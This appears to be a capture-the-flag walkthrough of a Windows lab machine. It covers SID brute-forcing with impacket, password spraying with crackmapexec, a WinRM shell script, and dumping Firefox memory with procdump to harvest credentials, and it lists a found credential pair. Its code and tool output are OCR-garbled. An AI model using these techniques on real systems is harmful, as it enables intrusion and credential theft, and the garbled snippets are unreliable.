Retrieved from

1) Enumeration will show you running web server. Additionally, it's important to note SMB and WinRM are also running . We will leverage these once we get a hold of some credentials.

2) Web server has a login page -> I didn't try username/password combination and proceeded to "Login as guest". The page has a publicly available conversation between "Hazard" and "Support Admin" in issues.php. Additionally, there is an attachment within this conversation. The attachment contains some credzzz. Be sure to crack all of them if time permits. I used this site for the type 7 password: <>

Configs == Creds?

3) an impacket tool that serves as a Windows SID bruteforcer example through [MS-LSAT] MSRPC Interface, aiming at finding remote users/groups. With the following set of credentials  (hazard:stealth1agent), we can enumerate usernames from the target host.

root@pwnbox:/opt/arod/Uti1s/impacket# /opt/arod/utils/impacket/examples/ 
Impacket vO.9.20-dev 
Copyright 2019 SecureAuth Corporation 
Brute forcing SIDS at 
StringBinding ncacn np:10.10.10. 
Domain SID is: S-1-5-21-4254423774-1266059056-3197185112 
SUPPORTDESK\Administrator (SidTypeuser) 
SUPPORTDESK\Guest (SidTypeuser) 
SUPPORTDESK\Defau1tAccount (SidTypeuser) 
SUPPORTDESK\WDAGUti1itYAccount (SidTypeuser) 
504 : 
SUPPORTDESK\None (SidTypecroup) 
SUPPORTDESK\Hazard (SidTypeuser) 
SUPPORTDESK\support (SidTypeuser) 
SUPPORTDESK\Chase (SidTypeuser) 
SUPPORTDESK\Jason (SidTypeuser) 

4) With a list of potential usernames and a list of potential passwords... you can use crackmapexec to automate login attempts via SMB or winRM. Below is the whole screenshot of what this looked like :). It stops once it authenticates with a valid set of credentials. Chase:<bunch of garble>

Crackmapexec can be found here ->

5) I use my go-to WinRM Shell just to keep it different. I simple change the credentials and IP address and call it a day.

require ' wlnrm' 
conn = WinRM: 
'' , 
. 'Chase' , 
password: 'Q4) 
command;" " :powershell) do I shell I 
until command 
"exit\n" do 
print "PS > " 
command = 
output = shell. run(command) 
STDOUT.print stdout 
STDERR.print stderr 
puts "Exiting with code #{output.exitcode}" 

6) Running processes show firefox is running. Using procdump, we are able to dump the PID to see if we can find some creds in there (Spoiler alert. We find creds).

PS ./procdump64. exe 
Sysinternals process dump utility 
ProcDump v9.O 
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards 
Sysinternals - 
-ma 420 
1 initiated: 190901 054037 .dmp 
1 writing: Estimated dump file size is 295 MB. 
1 complete: 296 MB written in 2.8 seconds 
count reached.

7) I transfer the *.dmp file onto my Kali machine and user Strings for my initial swing at this. I also grep for the word "password" and poof... #magic. We can see some creds being passed. "login_password" is the variable being.

8) You can use crackmapexec for the last part of this... or if you get bored, switch to some psexec action. Pretty simple. Use either tool to get your shell or simple run commands. Both of these generate plenty of artifacts on your  target systems so be sure to research those if you have OPSEC considerations.  Below are some links I found if you want to look more into psexec detection:

Detecting CrackMapExec (CME) with Bro, Sysmon, and Powershell logs
CrackMapExec is a popular tool that is used by attackers to move laterally throughout an environment. I use it personally on my penetration tests, as I’ve found that it does a really good job at moving from system to system without detection. My goal with this blog post is to give defenders some te…
How To Threat Hunt For PsExec, Other Lateral Movement Tools
Adversaries often use PsExec for lateral movement. Threat hunters should look out for certain named pipes, binary metadata, registry keys, and more.
Threat Hunting #3 - Detecting PsExec execution using event 5145
PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console a...
crackmapexec & psexec

Thank you all for reading this. Until next time!